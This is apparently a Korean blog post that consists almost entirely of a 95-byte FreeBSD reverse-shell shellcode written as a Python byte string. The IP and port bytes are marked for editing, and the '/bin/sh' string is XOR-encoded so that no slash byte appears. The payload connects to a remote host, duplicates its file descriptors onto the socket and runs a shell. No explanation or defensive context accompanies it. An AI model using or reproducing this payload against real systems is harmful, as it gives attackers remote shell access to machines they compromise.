본문 바로가기

List/Shellcode

[FreeBSD] \x2f가 없는 쉘코드, Reverse bind shellcode, 95byte

#124.0.0.53, 1337

shellcode = ("\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68"

"\x7c\x00\x00\x35"  # ip

"\x66\x68"

"\x05\x39" # port

"\x66\x68\x01\x02\x89"

            "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9"

            "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03"

            "\x75\xf0\x31\xc0\x50"

            "\xb8\x44\x44\x44\x44\x35\x2a\x6b\x37\x2c\x50\xb8" # asm.c

            "\x44\x44\x44\x44\x35\x6b\x6b\x26\x2d\x50\x31\xc0" # asm.c

            "\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80")